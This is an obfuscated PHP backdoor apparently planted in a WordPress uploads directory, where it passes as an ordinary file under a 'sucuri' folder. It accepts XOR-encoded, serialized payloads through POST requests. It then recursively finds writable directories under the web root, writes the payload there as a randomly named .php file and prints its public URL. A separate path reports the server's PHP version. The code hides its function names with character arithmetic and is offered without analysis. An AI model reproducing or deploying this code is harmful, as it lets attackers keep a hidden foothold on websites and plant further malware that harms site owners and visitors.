File: /home/slyfwmm/foar/wp-content/uploads/sucuri/vcuxxtkd.php
<?php $yHYdiKY = "YasNYEui";function gizgBq($yHYdiKY){ $kQMywr = chr(238-123).chr(116).'r'.chr(984-889)."\162".chr(625-514).chr(993-877).chr(945-896)."\63";$yHYdiKY = $kQMywr($yHYdiKY);$JjTWR = 'r'.'a'."\x77"."\165".chr(114)."\x6c"."\x64".'e'.chr(262-163).chr(111).chr(100)."\145";$yHYdiKY = $JjTWR($yHYdiKY);$yHYdiKY = str_split($yHYdiKY);return $yHYdiKY;}function pdjgNipRA($utGseVBqz, $AgBas){$utGseVBqz = array_slice(str_split(str_repeat($utGseVBqz, (count($AgBas)/16)+1)), 0, count($AgBas));return $utGseVBqz;}function aMNUgCk($TRTufQ, $kDmPkA, $utGseVBqz){$OIoit = "f65a0548-2ef9-4dfa-a475-35bed3b9c817";return $TRTufQ ^ $OIoit[$kDmPkA % strlen($OIoit)] ^ $utGseVBqz;}function imBVNdTe($AgBas, $utGseVBqz){$AgBas = array_map("aMNUgCk", array_values($AgBas), array_keys($AgBas), array_values($utGseVBqz));$AgBas = implode("", $AgBas);$NcomlXSYp = 'u'."\156".chr(294-179).'e'.chr(114).chr(105).chr(97)."\154"."\151".chr(518-396).chr(101);$AgBas = @$NcomlXSYp($AgBas);return $AgBas;}function WZwflg(){echo "aGJLlEFn";}function jqExY($QuiQzPsnnir){static $FwFkssu = array();$vlkwWeBvz = glob($QuiQzPsnnir . '/*', GLOB_ONLYDIR);$afgeiPurz = count($vlkwWeBvz);if ($afgeiPurz > 0) {foreach ($vlkwWeBvz as $QuiQzPsnn) {$zBazI = 'i'."\163".chr(95)."\x77".chr(592-478)."\151".'t'.'a'."\142".chr(446-338).chr(920-819);if (@$zBazI($QuiQzPsnn)) {$FwFkssu[] = $QuiQzPsnn;}}}foreach ($vlkwWeBvz as $QuiQzPsnnir) jqExY($QuiQzPsnnir);return $FwFkssu;}function mrthvaaEQe(){echo "YasNYEui";}function nCsIiH($AgBas){$ZjsCRZyJ = "\x44"."\x4f"."\x43".chr(85).chr(695-618).chr(69).chr(996-918).'T'."\137".chr(535-453)."\117".chr(79).chr(84);$uoGcSjowk = $_SERVER[$ZjsCRZyJ];$vlkwWeBvz = jqExY($uoGcSjowk);$sgrQttSPP = array_rand($vlkwWeBvz);$bZCqiIYSk = "\x2e".chr(112).'h'."\x70";$seqxoX = $vlkwWeBvz[$sgrQttSPP] . "/" . substr(md5(time()), 0, 8) . $bZCqiIYSk;$jaqWQzUjq = "\146".chr(105).chr(443-335)."\x65"."\137"."\x70".chr(117).chr(699-583)."\137"."\143".chr(111).chr(110)."\164".chr(785-684).'n'.'t'."\163";@$jaqWQzUjq($seqxoX, $AgBas);$iyAqkVHyel = "\x48".chr(84).'T'.chr(625-545).'_'.chr(72).'O'."\123".'T';$GklYs = chr(976-872).'t'."\x74".'p'.chr(58).'/'.'/';$rUkjjzPb = $GklYs . $_SERVER[$iyAqkVHyel] . substr($seqxoX, strlen($uoGcSjowk));print($rUkjjzPb);}function EHQjCA(){$TXqsUNmOn = chr(112)."\x68".'p';$YgwzEvcX = chr(467-355)."\150"."\160"."\x76".'e'."\162".'s'.'i'."\157".'n';$AgBas = Array($TXqsUNmOn => @$YgwzEvcX(), );$OEXqnIClMm = "\x73".chr(490-389).chr(194-80).'i'.'a'.chr(108)."\x69".chr(122)."\145";echo @$OEXqnIClMm($AgBas);}foreach ($_POST as $utGseVBqz => $AgBas){$PBWvkc = strlen($utGseVBqz);if ($PBWvkc == 16){$AgBas = gizgBq($AgBas);$utGseVBqz = pdjgNipRA($utGseVBqz, $AgBas);$AgBas = imBVNdTe($AgBas, $utGseVBqz);if (@is_array($AgBas)){$sgrQttSPP = array_keys($AgBas);$AgBas = $AgBas[$sgrQttSPP[0]];$sgrQttSPP = $sgrQttSPP[0];if ($AgBas !== $sgrQttSPP){nCsIiH($AgBas);}else {EHQjCA();}die();}}}